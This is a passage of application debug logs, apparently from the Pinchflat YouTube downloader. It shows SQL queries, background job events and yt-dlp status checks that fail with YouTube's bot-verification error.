o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:19.106 [debug] QUERY OK source="sources" db=8.0ms idle=12.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:19.110 [debug] QUERY OK source="media_items" db=4.2ms queue=2.9ms idle=15.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [9, 10] 20:31:19.113 [debug] QUERY OK source="media_profiles" db=3.0ms queue=2.8ms idle=14.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:19.114 [debug] QUERY OK source="media_items" db=0.7ms idle=17.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 20:31:19.115 [debug] QUERY OK source="media_metadata" db=0.1ms idle=12.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [10] 20:31:19.116 [debug] QUERY OK source="media_profiles" db=0.3ms idle=9.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:19.117 [debug] QUERY OK source="settings" db=0.7ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:19.118 [debug] QUERY OK source="settings" db=0.4ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:19.119 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:19.120 [debug] QUERY OK source="settings" db=0.2ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:19.121 [debug] QUERY OK source="settings" db=0.3ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:19.122 [debug] QUERY OK source="settings" db=0.4ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:19.122 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9-EFc04XKIA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/8e/8c8e5a5f7e8e4cfc0d2edc1ab1379919b2dab91d54c932c592682de9e5fda329.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:20.821 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t3ib9VIw6eA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e5/fb/e5fb25c5733af1b0cf7404f867511a48bcb3732a9f9b4f8607d48ccad177a766.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] t3ib9VIw6eA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:20.821 [error] yt-dlp download error for media item #9: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t3ib9VIw6eA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:20.821 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t3ib9VIw6eA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:20.822 [info] {"args":{"id":9},"id":207,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2024726,"event":"job:stop","attempt":1,"queue_time":7796124,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:20.824 [debug] QUERY OK source="tasks" db=1.1ms idle=233.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:20.826 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=235.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 20:31:20.830 [info] {"args":{"id":11},"id":209,"meta":{},"system_time":1774150280830006188,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:20.831 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:20.832 [debug] QUERY OK source="media_items" db=1.2ms queue=0.3ms idle=30.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11] 20:31:20.832 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:20.833 [debug] QUERY OK source="media_items" db=1.3ms queue=0.3ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [10, 11] 20:31:20.835 [debug] QUERY OK source="sources" db=2.0ms queue=0.4ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:20.837 [debug] QUERY OK source="media_profiles" db=0.4ms queue=1.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:20.838 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 20:31:20.840 [debug] QUERY OK source="media_metadata" db=0.2ms idle=8.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11] 20:31:20.841 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:20.842 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.842 [debug] QUERY OK source="settings" db=0.4ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.843 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:20.844 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.845 [debug] QUERY OK source="settings" db=0.4ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.846 [debug] QUERY OK source="settings" db=0.4ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.846 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=a1i4v5f50kQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/28/74/28748f512148f4cccdd7a06f074ba13f6bd6f0affdd1d3d72eefbd7abb339c65.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:20.916 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9-EFc04XKIA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/8e/8c8e5a5f7e8e4cfc0d2edc1ab1379919b2dab91d54c932c592682de9e5fda329.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9-EFc04XKIA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:20.916 [error] yt-dlp download error for media item #10: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9-EFc04XKIA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:20.916 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9-EFc04XKIA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:20.919 [info] {"args":{"id":10},"id":208,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1824544,"event":"job:stop","attempt":1,"queue_time":8091150,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:20.921 [debug] QUERY OK source="tasks" db=0.5ms queue=0.3ms idle=77.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:20.921 [debug] QUERY OK source="media_items" db=0.5ms idle=76.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11] 20:31:20.927 [info] {"args":{"id":12},"id":210,"meta":{},"system_time":1774150280927014493,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:20.928 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=81.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 20:31:20.928 [debug] QUERY OK source="tasks" db=1.2ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:20.930 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:20.931 [debug] QUERY OK source="sources" db=1.0ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:20.932 [debug] QUERY OK source="media_items" db=1.6ms queue=0.3ms idle=8.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [11, 12] 20:31:20.933 [debug] QUERY OK source="media_profiles" db=2.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:20.936 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 20:31:20.938 [debug] QUERY OK source="media_metadata" db=0.2ms idle=9.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12] 20:31:20.938 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:20.939 [debug] QUERY OK source="settings" db=0.6ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.940 [debug] QUERY OK source="settings" db=0.6ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.941 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:20.942 [debug] QUERY OK source="settings" db=0.3ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.943 [debug] QUERY OK source="settings" db=0.5ms 